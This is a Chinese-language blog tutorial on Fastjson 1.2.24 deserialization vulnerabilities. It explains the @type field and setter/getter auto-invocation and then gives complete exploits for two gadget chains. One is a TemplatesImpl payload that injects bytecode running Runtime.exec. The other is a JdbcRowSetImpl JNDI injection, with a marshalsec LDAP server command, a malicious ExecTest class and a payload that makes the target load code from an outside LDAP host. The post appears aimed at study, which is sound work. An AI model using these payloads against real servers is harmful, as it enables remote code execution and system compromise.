FastJson反序列化

Fastjson使用

astjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

pom.xml设置

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

先定义一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

FastJson反序列化有三种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
public static void main(String[] args) {
User user=new User();
user.setName("admin");
user.setAge(14);

//序列化
String serializedStr=JSON.toJSONString(user);
System.out.println(serializedStr);

//反序列化
Object obj1=JSON.parse(serializedStr);
System.out.println("通过parse方法反序列化");
System.out.println(obj1.getClass().getName());
System.out.println(obj1);

Object obj2=JSON.parseObject(serializedStr);
System.out.println("通过parseObject方法,不指定类进行反序列化");
System.out.println(obj2.getClass().getName());
System.out.println(obj2);

Object obj3=JSON.parseObject(serializedStr,User.class);
System.out.println("通过parseObject方法,指定User类进行反序列化");
System.out.println(obj3.getClass().getName());
System.out.println(obj3);
}
}

执行结果如下

可以看到JSON.parse和未指定对象的JSON.parseObject都会返回JSONObject,而JSON.parseObject指定类后会返回相应的类对象。它们不仅返回结果不同,执行过程中调用的方法也不同。

type字段

修改User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class User {
private String name;
private int age;


public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

FastJson中有一个特殊字段type,这个字段可以指定反序列化任意类,并且会自动调用类中符合规则的特定的settergetter方法。

1
2
3
4
5
parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法

parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

规则

1
2
3
4
5
6
7
8
9
10
11
set开头的方法要求如下:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求如下:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {


public static void main(String[] args) {

String jsonstring="{\"@type\":\"User\",\"age\":80,\"name\":\"admin\"}";

System.out.println("parse:");
Object obj1=JSON.parse(jsonstring);
System.out.println(obj1.getClass().getName());
System.out.println(obj1);

System.out.println("parseObject:");
Object obj2=JSON.parseObject(jsonstring);
System.out.println(obj2.getClass().getName());
System.out.println(obj2);

System.out.println("parseObject with class:");
Object obj3=JSON.parseObject(jsonstring,User.class);
System.out.println(obj3.getClass().getName());
System.out.println(obj3);

}
}

运行结果

1
2
3
4
5
type可以指定反序列化成服务器上的任意类

然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)

如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的settergetter方法(即setxxx方法、getxxx方法)

利用链

TemplatesImpl

基于JDK 7u21 Gadgets,1.7版本通用,利用条件苛刻

利用条件

1
2
3
1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
`JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);`
2. 服务端使用parse()时,需要`JSON.parse(text1,Feature.SupportNonPublicField);`

jdk7u21反序列化的利用条件

1
2
3
4
5
1.恶意类的父类必须为ABSTRACT_TRANSLET 
2.TemplatesImpl类的_bytecodes不为null,为恶意类字节码,payload写在恶意类的静态方法或构造方法
3.TemplatesImpl类的_name不为null
4.TemplatesImpl类的_class=null
5._tfactory需要是一个拥有getExternalExtensionsMap()方法的类,即TransformerFactoryImpl(),以此来兼容不同版本

构造exp,FastJson反序列化过程中对_bytecodes_tfactory等属性进行了操作,需要另外处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Test {

public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");

//向静态方法中插入要执行的命令
ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");

//设置满足条件的父类
ctClass.setSuperclass((pool.get(AbstractTranslet.class.getName())));

//获取字节码
byte[] EvilByteCodes = ctClass.toBytecode();

return EvilByteCodes;
}

public static void main(String[] args) throws Exception {
//生成恶意类字节码
byte[] evilCode = getevilbyte();
//将字节码进行base64编码
String evilCode_base64 = Base64.encodeBase64String(evilCode);
String text1 = "{"+
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'xx',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";

System.out.println(text1);

//处理private属性
ParserConfig config = new ParserConfig();
//反序列化
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
}

_bytecodes

_bytecodes传输过程中会经过base64解码,所以在payload中需要进行base64编码

FieldDeserializer#parseField

parseField中对_bytecodes中的内容进行了解析

deserialize

parseArray

ObjectDeserializer#deserializer

byteValue

_bytecodes进行base64解码

_tfactory

FastJson会自动新建一个符合要求的对象实例,所以exp中_factory{}

1
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java

JdbcRowSetImpl

前面提到了FastJson反序列化会自动调用类中符合规则的特定的settergetter方法。com.sun.rowset.JdbcRowSetImpl的setAutoCommit()方法中调用了lookup(),且参数DataSourceName可控,由setDataSourceName()方法设置。由于这两个方法都符合规则,反序列化时自动调用这两个setter方法造成JNDI注入,进而触发命令执行。

JdbcRowSetImpl#setDataSourceName

调用父类的setDataSourceName

BaseRowSet#setDataSourceName

父类的setDataSourceName,把var1赋值给dataSoruce

setAutoCommit

这里调用了connect()方法,var1来源于POC中构造的属性autoCommit,实际测试中发现这个值可以是true也可以是false,只要保证有一个布尔类型的参数传入就不会影响正常执行。

connection

调用lookupthis.getDataSourceName()等于var1,接着请求我们的ldap服务器,触发命令执行

接下来就是JNDI注入利用的思路了

使用marshalsec搭建ldap服务器

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

ExecTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;

public class ExecTest {
public ExecTest() throws IOException,InterruptedException{

String cmd="calc";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}

public static void main(String[] args) {

}

}

把编译后的恶意类ExecTest.class放到web目录下,然后开启web服务

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.alibaba.fastjson.JSON;


public class Test {


public static void main(String[] args) throws Exception {
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://192.168.111.129:1389/ExecTest\",\n" +
" \"autoCommit\":true\n" +
"}";
JSON.parseObject(payload);
}
}

实际执行的代码

1
2
3
4
5
6
7
8
9
10
import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("ldap://192.168.111.129:1389/ExecTest");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!